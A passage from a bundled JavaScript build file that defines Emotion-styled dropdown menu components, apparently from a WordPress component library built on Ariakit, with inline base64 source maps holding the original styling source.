lbiBhdXRvLWNvbGxhcHNpbmcgKi9cblx0Z3JpZC1jb2x1bW46IDE7XG5cblx0Lypcblx0ICogRXZlbiB3aGVuIHRoZSBpdGVtIGlzIG5vdCBjaGVja2VkLCBvY2N1cHkgdGhlIHNhbWUgc2NyZWVuIHNwYWNlIHRvIGF2b2lkXG5cdCAqIHRoZSBzcGFjZSBjb2xsYXBzaWRlIHdoZW4gbm8gaXRlbXMgYXJlIGNoZWNrZWQuXG5cdCAqL1xuXHQkeyBDaGVja2JveEl0ZW0gfSA+ICYsXG5cdCR7IFJhZGlvSXRlbSB9ID4gJiB7XG5cdFx0LyogU2FtZSB3aWR0aCBhcyB0aGUgY2hlY2sgaWNvbnMgKi9cblx0XHRtaW4td2lkdGg6ICR7IHNwYWNlKCA2ICkgfTtcblx0fVxuXG5cdCR7IENoZWNrYm94SXRlbSB9ID4gJixcblx0JHsgUmFkaW9JdGVtIH0gPiAmLFxuXHQmOm5vdCggOmVtcHR5ICkge1xuXHRcdG1hcmdpbi1pbmxpbmUtZW5kOiAkeyBzcGFjZSggMiApIH07XG5cdH1cblxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblxuXHRjb2xvcjogJHsgTElHSFRFUl9URVhUX0NPTE9SIH07XG5cblx0Lypcblx0KiBXaGVuIHRoZSBwYXJlbnQgbWVudSBpdGVtIGlzIGFjdGl2ZSwgZXhjZXB0IHdoZW4gaXQncyBhIG5vbi1mb2N1c2VkL2hvdmVyZWRcblx0KiBzdWJtZW51IHRyaWdnZXIgKGluIHRoYXQgY2FzZSwgY29sb3Igc2hvdWxkIG5vdCBiZSBpbmhlcml0ZWQpXG5cdCovXG5cdFtkYXRhLWFjdGl2ZS1pdGVtXTpub3QoIFtkYXRhLWZvY3VzLXZpc2libGVdICkgPiAmLFxuXHQvKiBXaGVuIHRoZSBwYXJlbnQgbWVudSBpdGVtIGlzIGRpc2FibGVkICovXG5cdFthcmlhLWRpc2FibGVkPSd0cnVlJ10gPiAmIHtcblx0XHRjb2xvcjogaW5oZXJpdDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1Db250ZW50V3JhcHBlciA9IHN0eWxlZC5kaXZgXG5cdC8qXG5cdCAqIEFsd2F5cyBvY2N1cHkgdGhlIHNlY29uZCBjb2x1bW4sIHNpbmNlIHRoZSBmaXJzdCBjb2x1bW5cblx0ICogaXMgdGFrZW4gYnkgdGhlIHByZWZpeCB3cmFwcGVyICh3aGVuIGRpc3BsYXllZCkuXG5cdCAqL1xuXHRncmlkLWNvbHVtbjogMjtcblxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdGdhcDogJHsgc3BhY2UoIDMgKSB9O1xuXG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1DaGlsZHJlbldyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHRmbGV4OiAxO1xuXG5cdGRpc3BsYXk6IGlubGluZS1mbGV4O1xuXHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHRnYXA6ICR7IHNwYWNlKCAxICkgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtU3VmZml4V3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRmbGV4OiAwIDEgZml0LWNvbnRlbnQ7XG5cdG1pbi13aWR0aDogMDtcblx0d2lkdGg6IGZpdC1jb250ZW50O1xuXG5cdGRpc3BsYXk6IGZsZXg7XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRnYXA6ICR7IHNwYWNlKCAzICkgfTtcblxuXHRjb2xvcjogJHsgTElHSFRFUl9URVhUX0NPTE9SIH07XG5cblx0Lypcblx0ICogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBhY3RpdmUsIGV4Y2VwdCB3aGVuIGl0J3MgYSBub24tZm9jdXNlZC9ob3ZlcmVkXG5cdCAqIHN1Ym1lbnUgdHJpZ2dlciAoaW4gdGhhdCBjYXNlLCBjb2xvciBzaG91bGQgbm90IGJlIGluaGVyaXRlZClcblx0ICovXG5cdFtkYXRhLWFjdGl2ZS1pdGVtXTpub3QoIFtkYXRhLWZvY3VzLXZpc2libGVdICkgKjpub3QoJHsgTWVudSB9KSAmLFxuXHQvKiBXaGVuIHRoZSBwYXJlbnQgbWVudSBpdGVtIGlzIGRpc2FibGVkICovXG5cdFthcmlhLWRpc2FibGVkPSd0cnVlJ10gKjpub3QoJHsgTWVudSB9KSAmIHtcblx0XHRjb2xvcjogaW5oZXJpdDtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEdyb3VwID0gc3R5bGVkKCBBcmlha2l0Lk1lbnVHcm91cCApYFxuXHQvKiBJZ25vcmUgdGhpcyBlbGVtZW50IHdoZW4gY2FsY3VsYXRpbmcgdGhlIGxheW91dC4gVXNlZnVsIGZvciBzdWJncmlkICovXG5cdGRpc3BsYXk6IGNvbnRlbnRzO1xuYDtcblxuZXhwb3J0IGNvbnN0IEdyb3VwTGFiZWwgPSBzdHlsZWQoIEFyaWFraXQuTWVudUdyb3VwTGFiZWwgKWBcblx0LyogT2NjdXB5IHRoZSB3aWR0aCBvZiBhbGwgZ3JpZCBjb2x1bW5zIChpZS4gZnVsbCB3aWR0aCkgKi9cblx0Z3JpZC1jb2x1bW46IDEgLyAtMTtcblxuXHRwYWRkaW5nLWJsb2NrLXN0YXJ0OiAkeyBzcGFjZSggMyApIH07XG5cdHBhZGRpbmctYmxvY2stZW5kOiAkeyBzcGFjZSggMiApIH07XG5cdHBhZGRpbmctaW5saW5lOiAkeyBJVEVNX1BBRERJTkdfSU5MSU5FIH07XG5gO1xuXG5leHBvcnQgY29uc3QgU2VwYXJhdG9yID0gc3R5bGVkKCBBcmlha2l0Lk1lbnVTZXBhcmF0b3IgKTxcblx0UGljazwgQ29udGV4dFByb3BzLCAndmFyaWFudCcgPlxuPmBcblx0LyogT2NjdXB5IHRoZSB3aWR0aCBvZiBhbGwgZ3JpZCBjb2x1bW5zIChpZS4gZnVsbCB3aWR0aCkgKi9cblx0Z3JpZC1jb2x1bW46IDEgLyAtMTtcblxuXHRib3JkZXI6IG5vbmU7XG5cdGhlaWdodDogJHsgQ09ORklHLmJvcmRlcldpZHRoIH07XG5cdGJhY2tncm91bmQtY29sb3I6ICR7ICggcHJvcHMgKSA9PlxuXHRcdHByb3BzLnZhcmlhbnQgPT09ICd0b29sYmFyJ1xuXHRcdFx0PyBUT09MQkFSX1ZBUklBTlRfQk9SREVSX0NPTE9SXG5cdFx0XHQ6IERJVklERVJfQ09MT1IgfTtcblx0LyogQWxpZ24gd2l0aCBtZW51IGl0ZW1zJyBjb250ZW50ICovXG5cdG1hcmdpbi1ibG9jazogJHsgc3BhY2UoIDIgKSB9O1xuXHRtYXJnaW4taW5saW5lOiAkeyBJVEVNX1BBRERJTkdfSU5MSU5FIH07XG5cblx0LyogT25seSB2aXNpYmxlIGluIFdpbmRvd3MgSGlnaCBDb250cmFzdCBtb2RlICovXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdWJtZW51Q2hldnJvbkljb24gPSBzdHlsZWQoIEljb24gKWBcblx0d2lkdGg6ICR7IHNwYWNlKCAxLjUgKSB9O1xuXHQkeyBydGwoXG5cdFx0e1xuXHRcdFx0dHJhbnNmb3JtOiBgc2NhbGVYKDEpYCxcblx0XHR9LFxuXHRcdHtcblx0XHRcdHRyYW5zZm9ybTogYHNjYWxlWCgtMSlgLFxuXHRcdH1cblx0KSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW1MYWJlbCA9IHN0eWxlZCggVHJ1bmNhdGUgKWBcblx0Zm9udC1zaXplOiAkeyBmb250KCAnZGVmYXVsdC5mb250U2l6ZScgKSB9O1xuXHRsaW5lLWhlaWdodDogMjBweDtcblx0Y29sb3I6IGluaGVyaXQ7XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbUhlbHBUZXh0ID0gc3R5bGVkKCBUcnVuY2F0ZSApYFxuXHRmb250LXNpemU6ICR7IGZvbnQoICdoZWxwVGV4dC5mb250U2l6ZScgKSB9O1xuXHRsaW5lLWhlaWdodDogMTZweDtcblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXHRvdmVyZmxvdy13cmFwOiBhbnl3aGVyZTtcblxuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApICo6bm90KCAkeyBNZW51IH0gKSAmLFxuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddICo6bm90KCAkeyBNZW51IH0gKSAmIHtcblx0XHRjb2xvcjogaW5oZXJpdDtcblx0fVxuYDtcbiJdfQ== */"));
50264 var SubmenuChevronIcon = /* @__PURE__ */ createStyled(icon_default3, false ? {
50265 target: "e1wg7tti2"
50266 } : {
50267 target: "e1wg7tti2",
50268 label: "SubmenuChevronIcon"
50269 })("width:", space(1.5), ";", rtl({
50270 transform: `scaleX(1)`
50271 }, {
50272 transform: `scaleX(-1)`
50273 }), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInN0eWxlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiQUFvVWdEIiwiZmlsZSI6InN0eWxlcy50cyIsInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogRXh0ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCAqIGFzIEFyaWFraXQgZnJvbSAnQGFyaWFraXQvcmVhY3QnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBDT0xPUlMsIGZvbnQsIHJ0bCwgQ09ORklHLCBEUk9QRE9XTl9NT1RJT05fQ1NTIH0gZnJvbSAnLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi91dGlscy9zcGFjZSc7XG5pbXBvcnQgSWNvbiBmcm9tICcuLi9pY29uJztcbmltcG9ydCB7IFRydW5jYXRlIH0gZnJvbSAnLi4vdHJ1bmNhdGUnO1xuaW1wb3J0IHR5cGUgeyBDb250ZXh0UHJvcHMgfSBmcm9tICcuL3R5cGVzJztcblxuY29uc3QgQ09OVEVOVF9XUkFQUEVSX1BBRERJTkcgPSBzcGFjZSggMSApO1xuY29uc3QgSVRFTV9QQURESU5HX0JMT0NLID0gc3BhY2UoIDEgKTtcbmNvbnN0IElURU1fUEFERElOR19JTkxJTkUgPSBzcGFjZSggMyApO1xuXG4vLyBUT0RPOlxuLy8gLSBib3JkZXIgY29sb3IgYW5kIGRpdmlkZXIgY29sb3IgYXJlIGRpZmZlcmVudCBmcm9tIENPTE9SUy50aGVtZSB2YXJpYWJsZXNcbi8vIC0gbGlnaHRlciB0ZXh0IGNvbG9yIGlzIG5vdCBkZWZpbmVkIGluIENPTE9SUy50aGVtZSwgc2hvdWxkIGl0IGJlP1xuLy8gLSBsaWdodGVyIGJhY2tncm91bmQgY29sb3IgaXMgbm90IGRlZmluZWQgaW4gQ09MT1JTLnRoZW1lLCBzaG91bGQgaXQgYmU/XG5jb25zdCBERUZBVUxUX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXTtcbmNvbnN0IERJVklERVJfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgMjAwIF07XG5jb25zdCBMSUdIVEVSX1RFWFRfQ09MT1IgPSBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF07XG5jb25zdCBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SID0gQ09MT1JTLnRoZW1lLmdyYXlbIDEwMCBdO1xuY29uc3QgVE9PTEJBUl9WQVJJQU5UX0JPUkRFUl9DT0xPUiA9IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kO1xuY29uc3QgREVGQVVMVF9CT1hfU0hBRE9XID0gYDAgMCAwICR7IENPTkZJRy5ib3JkZXJXaWR0aCB9ICR7IERFRkFVTFRfQk9SREVSX0NPTE9SIH0sICR7IENPTkZJRy5lbGV2YXRpb25NZWRpdW0gfWA7XG5jb25zdCBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPVyA9IGAwIDAgMCAkeyBDT05GSUcuYm9yZGVyV2lkdGggfSAkeyBUT09MQkFSX1ZBUklBTlRfQk9SREVSX0NPTE9SIH1gO1xuXG5jb25zdCBHUklEX1RFTVBMQVRFX0NPTFMgPSAnbWlubWF4KCAwLCBtYXgtY29udGVudCApIDFmcic7XG5cbmV4cG9ydCBjb25zdCBNZW51ID0gc3R5bGVkKCBBcmlha2l0Lk1lbnUgKTwgUGljazwgQ29udGV4dFByb3BzLCAndmFyaWFudCcgPiA+YFxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdC8qIFNhbWUgYXMgcG9wb3ZlciBjb21wb25lbnQgKi9cblx0LyogVE9ETzogaXMgdGhlcmUgYSB3YXkgdG8gcmVhZCB0aGUgc2FzcyB2YXJpYWJsZT8gKi9cblx0ei1pbmRleDogMTAwMDAwMDtcblxuXHRkaXNwbGF5OiBncmlkO1xuXHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6ICR7IEdSSURfVEVNUExBVEVfQ09MUyB9O1xuXHRncmlkLXRlbXBsYXRlLXJvd3M6IGF1dG87XG5cblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0bWluLXdpZHRoOiAxNjBweDtcblx0bWF4LXdpZHRoOiAzMjBweDtcblx0bWF4LWhlaWdodDogdmFyKCAtLXBvcG92ZXItYXZhaWxhYmxlLWhlaWdodCApO1xuXG5cdHBhZGRpbmc6ICR7IENPTlRFTlRfV1JBUFBFUl9QQURESU5HIH07XG5cblx0b3ZlcnNjcm9sbC1iZWhhdmlvcjogY29udGFpbjtcblx0b3ZlcmZsb3c6IGF1dG87XG5cblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c01lZGl1bSB9O1xuXHQkeyAoIHByb3BzICkgPT4gY3NzYFxuXHRcdGJveC1zaGFkb3c6ICR7IHByb3BzLnZhcmlhbnQgPT09ICd0b29sYmFyJ1xuXHRcdFx0PyBUT09MQkFSX1ZBUklBTlRfQk9YX1NIQURPV1xuXHRcdFx0OiBERUZBVUxUX0JPWF9TSEFET1cgfTtcblx0YCB9XG5cblx0LyogT25seSB2aXNpYmxlIGluIFdpbmRvd3MgSGlnaCBDb250cmFzdCBtb2RlICovXG5cdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudCAhaW1wb3J0YW50O1xuXG5cdC8qIE9wZW4vY2xvc2UgYW5pbWF0aW9uICovXG5cdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdHRyYW5zaXRpb24tcHJvcGVydHk6IHRyYW5zZm9ybSwgb3BhY2l0eTtcblx0XHR0cmFuc2l0aW9uLWR1cmF0aW9uOiAkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RVUkFUSU9OIH0sXG5cdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLkZBREVfRFVSQVRJT04gfTtcblx0XHR0cmFuc2l0aW9uLXRpbWluZy1mdW5jdGlvbjogJHsgRFJPUERPV05fTU9USU9OX0NTUy5TTElERV9FQVNJTkcgfSxcblx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuRkFERV9FQVNJTkcgfTtcblx0XHR3aWxsLWNoYW5nZTogdHJhbnNmb3JtLCBvcGFjaXR5O1xuXG5cdFx0Jjpub3QoIFtkYXRhLXN1Ym1lbnVdICkge1xuXHRcdFx0LyogUmVnYXJkbGVzcyBvZiB0aGUgc2lkZSwgZmFkZSBpbiBhbmQgb3V0LiAqL1xuXHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdCZbZGF0YS1lbnRlcl0ge1xuXHRcdFx0XHRvcGFjaXR5OiAxO1xuXHRcdFx0fVxuXG5cdFx0XHQvKiBTbGlkZSBpbiB0aGUgZGlyZWN0aW9uIHRoZSBtZW51IGlzIG9wZW5pbmcuICovXG5cdFx0XHQmW2RhdGEtc2lkZT0nYm90dG9tJ10ge1xuXHRcdFx0XHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoXG5cdFx0XHRcdFx0LSR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J3RvcCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVZKFxuXHRcdFx0XHRcdCR7IERST1BET1dOX01PVElPTl9DU1MuU0xJREVfRElTVEFOQ0UgfVxuXHRcdFx0XHQpO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLXNpZGU9J2xlZnQnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWChcblx0XHRcdFx0XHQkeyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKFxuXHRcdFx0XHRcdC0keyBEUk9QRE9XTl9NT1RJT05fQ1NTLlNMSURFX0RJU1RBTkNFIH1cblx0XHRcdFx0KTtcblx0XHRcdH1cblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdib3R0b20nXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSd0b3AnXSB7XG5cdFx0XHRcdHRyYW5zZm9ybTogdHJhbnNsYXRlWSggMCApO1xuXHRcdFx0fVxuXHRcdFx0JltkYXRhLWVudGVyXVtkYXRhLXNpZGU9J2xlZnQnXSxcblx0XHRcdCZbZGF0YS1lbnRlcl1bZGF0YS1zaWRlPSdyaWdodCddIHtcblx0XHRcdFx0dHJhbnNmb3JtOiB0cmFuc2xhdGVYKCAwICk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5gO1xuXG5jb25zdCBiYXNlSXRlbSA9IGNzc2Bcblx0YWxsOiB1bnNldDtcblxuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdG1pbi1oZWlnaHQ6ICR7IHNwYWNlKCA4ICkgfTtcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblxuXHQvKiBPY2N1cHkgdGhlIHdpZHRoIG9mIGFsbCBncmlkIGNvbHVtbnMgKGllLiBmdWxsIHdpZHRoKSAqL1xuXHRncmlkLWNvbHVtbjogMSAvIC0xO1xuXG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogJHsgR1JJRF9URU1QTEFURV9DT0xTIH07XG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cblx0QHN1cHBvcnRzICggZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiBzdWJncmlkICkge1xuXHRcdC8qXG5cdFx0ICogRGVmaW5lIGEgZ3JpZCBsYXlvdXQgd2hpY2ggaW5oZXJpdHMgdGhlIHNhbWUgY29sdW1ucyBjb25maWd1cmF0aW9uXG5cdFx0ICogZnJvbSB0aGUgcGFyZW50IGxheW91dCAoaWUuIHN1YmdyaWQpLiBUaGlzIGFsbG93cyB0aGUgbWVudVxuXHRcdCAqIHRvIHN5bmNocm9uaXplIHRoZSBpbmRlbnRhdGlvbiBvZiBhbGwgaXRzIGl0ZW1zLlxuXHRcdCAqL1xuXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogc3ViZ3JpZDtcblx0fVxuXG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2RlZmF1bHQuZm9udFNpemUnICkgfTtcblx0Zm9udC1mYW1pbHk6IGluaGVyaXQ7XG5cdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdGxpbmUtaGVpZ2h0OiAyMHB4O1xuXG5cdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuZm9yZWdyb3VuZCB9O1xuXHRib3JkZXItcmFkaXVzOiAkeyBDT05GSUcucmFkaXVzU21hbGwgfTtcblxuXHRwYWRkaW5nLWJsb2NrOiAkeyBJVEVNX1BBRERJTkdfQkxPQ0sgfTtcblx0cGFkZGluZy1pbmxpbmU6ICR7IElURU1fUEFERElOR19JTkxJTkUgfTtcblxuXHQvKlxuXHQgKiBNYWtlIHN1cmUgdGhhdCwgd2hlbiBhbiBpdGVtIGlzIHNjcm9sbGVkIGludG8gdmlldyAoZWcuIHdoaWxlIHVzaW5nIHRoZVxuXHQgKiBrZXlib2FyZCB0byBtb3ZlIGZvY3VzKSwgdGhlIHdob2xlIGl0ZW0gY29tZXMgaW50byB2aWV3XG5cdCAqL1xuXHRzY3JvbGwtbWFyZ2luOiAkeyBDT05URU5UX1dSQVBQRVJfUEFERElORyB9O1xuXG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRvdXRsaW5lOiBub25lO1xuXG5cdCZbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddIHtcblx0XHRjb2xvcjogJHsgQ09MT1JTLnVpLnRleHREaXNhYmxlZCB9O1xuXHRcdGN1cnNvcjogbm90LWFsbG93ZWQ7XG5cdH1cblxuXHQvKiBBY3RpdmUgaXRlbSAoaW5jbHVkaW5nIGhvdmVyKSAqL1xuXHQmW2RhdGEtYWN0aXZlLWl0ZW1dOm5vdCggW2RhdGEtZm9jdXMtdmlzaWJsZV0gKTpub3QoXG5cdFx0XHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddXG5cdFx0KSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXHRcdGNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50SW52ZXJ0ZWQgfTtcblx0fVxuXG5cdC8qIEtleWJvYXJkIGZvY3VzIChmb2N1cy12aXNpYmxlKSAqL1xuXHQmW2RhdGEtZm9jdXMtdmlzaWJsZV0ge1xuXHRcdGJveC1zaGFkb3c6IDAgMCAwIDEuNXB4ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdC8qIE9ubHkgdmlzaWJsZSBpbiBXaW5kb3dzIEhpZ2ggQ29udHJhc3QgbW9kZSAqL1xuXHRcdG91dGxpbmU6IDJweCBzb2xpZCB0cmFuc3BhcmVudDtcblx0fVxuXG5cdC8qIEFjdGl2ZSAoaWUuIHByZXNzZWQsIG1vdXNlIGRvd24pICovXG5cdCY6YWN0aXZlLFxuXHQmW2RhdGEtYWN0aXZlXSB7XG5cdFx0LyogVE9ETzogc2hvdWxkIHRoZXJlIGJlIGEgdmlzdWFsIGFjdGl2ZSBzdGF0ZT8gKi9cblx0fVxuXG5cdC8qIFdoZW4gdGhlIGl0ZW0gaXMgdGhlIHRyaWdnZXIgb2YgYW4gb3BlbiBzdWJtZW51ICovXG5cdCR7IE1lbnUgfTpub3QoOmZvY3VzKSAmOm5vdCg6Zm9jdXMpW2FyaWEtZXhwYW5kZWQ9XCJ0cnVlXCJdIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBMSUdIVF9CQUNLR1JPVU5EX0NPTE9SIH07XG5cdFx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5mb3JlZ3JvdW5kIH07XG5cdH1cblxuXHRzdmcge1xuXHRcdGZpbGw6IGN1cnJlbnRDb2xvcjtcblx0fVxuYDtcblxuZXhwb3J0IGNvbnN0IEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW0gKWBcblx0JHsgYmFzZUl0ZW0gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBDaGVja2JveEl0ZW0gPSBzdHlsZWQoIEFyaWFraXQuTWVudUl0ZW1DaGVja2JveCApYFxuXHQkeyBiYXNlSXRlbSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFJhZGlvSXRlbSA9IHN0eWxlZCggQXJpYWtpdC5NZW51SXRlbVJhZGlvIClgXG5cdCR7IGJhc2VJdGVtIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVByZWZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0LyogQWx3YXlzIG9jY3VweSB0aGUgZmlyc3QgY29sdW1uLCBldmVuIHdoZW4gYXV0by1jb2xsYXBzaW5nICovXG5cdGdyaWQtY29sdW1uOiAxO1xuXG5cdC8qXG5cdCAqIEV2ZW4gd2hlbiB0aGUgaXRlbSBpcyBub3QgY2hlY2tlZCwgb2NjdXB5IHRoZSBzYW1lIHNjcmVlbiBzcGFjZSB0byBhdm9pZFxuXHQgKiB0aGUgc3BhY2UgY29sbGFwc2lkZSB3aGVuIG5vIGl0ZW1zIGFyZSBjaGVja2VkLlxuXHQgKi9cblx0JHsgQ2hlY2tib3hJdGVtIH0gPiAmLFxuXHQkeyBSYWRpb0l0ZW0gfSA+ICYge1xuXHRcdC8qIFNhbWUgd2lkdGggYXMgdGhlIGNoZWNrIGljb25zICovXG5cdFx0bWluLXdpZHRoOiAkeyBzcGFjZSggNiApIH07XG5cdH1cblxuXHQkeyBDaGVja2JveEl0ZW0gfSA+ICYsXG5cdCR7IFJhZGlvSXRlbSB9ID4gJixcblx0Jjpub3QoIDplbXB0eSApIHtcblx0XHRtYXJnaW4taW5saW5lLWVuZDogJHsgc3BhY2UoIDIgKSB9O1xuXHR9XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBhY3RpdmUsIGV4Y2VwdCB3aGVuIGl0J3MgYSBub24tZm9jdXNlZC9ob3ZlcmVkXG5cdCogc3VibWVudSB0cmlnZ2VyIChpbiB0aGF0IGNhc2UsIGNvbG9yIHNob3VsZCBub3QgYmUgaW5oZXJpdGVkKVxuXHQqL1xuXHRbZGF0YS1hY3RpdmUtaXRlbV06bm90KCBbZGF0YS1mb2N1cy12aXNpYmxlXSApID4gJixcblx0LyogV2hlbiB0aGUgcGFyZW50IG1lbnUgaXRlbSBpcyBkaXNhYmxlZCAqL1xuXHRbYXJpYS1kaXNhYmxlZD0ndHJ1ZSddID4gJiB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cdH1cbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ29udGVudFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHQvKlxuXHQgKiBBbHdheXMgb2NjdXB5IHRoZSBzZWNvbmQgY29sdW1uLCBzaW5jZSB0aGUgZmlyc3QgY29sdW1uXG5cdCAqIGlzIHRha2VuIGJ5IHRoZSBwcmVmaXggd3JhcHBlciAod2hlbiBkaXNwbGF5ZWQpLlxuXHQgKi9cblx0Z3JpZC1jb2x1bW46IDI7XG5cblx0ZGlzcGxheTogZmxleDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0anVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuXHRnYXA6ICR7IHNwYWNlKCAzICkgfTtcblxuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJdGVtQ2hpbGRyZW5XcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0ZmxleDogMTtcblxuXHRkaXNwbGF5OiBpbmxpbmUtZmxleDtcblx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0Z2FwOiAkeyBzcGFjZSggMSApIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSXRlbVN1ZmZpeFdyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0ZmxleDogMCAxIGZpdC1jb250ZW50O1xuXHRtaW4td2lkdGg6IDA7XG5cdHdpZHRoOiBmaXQtY29udGVudDtcblxuXHRkaXNwbGF5OiBmbGV4O1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0Z2FwOiAkeyBzcGFjZSggMyApIH07XG5cblx0Y29sb3I6ICR7IExJR0hURVJfVEVYVF9DT0xPUiB9O1xuXG5cdC8qXG5cdCAqIFdoZW4gdGhlIHBhcmVudCBtZW51IGl0ZW0gaXMgYWN0aXZlLCBleGNlcHQgd2hlbiBpdCdzIGEgbm9uLWZvY3VzZWQvaG92ZXJlZFxuXHQgKiBzdWJtZW51IHRyaWdnZXIgKGluIHRoYXQgY2FzZSwgY29sb3Igc2hvdWxkIG5vdCBiZSBpbmhlcml0ZWQpXG5cdCAqL1xuX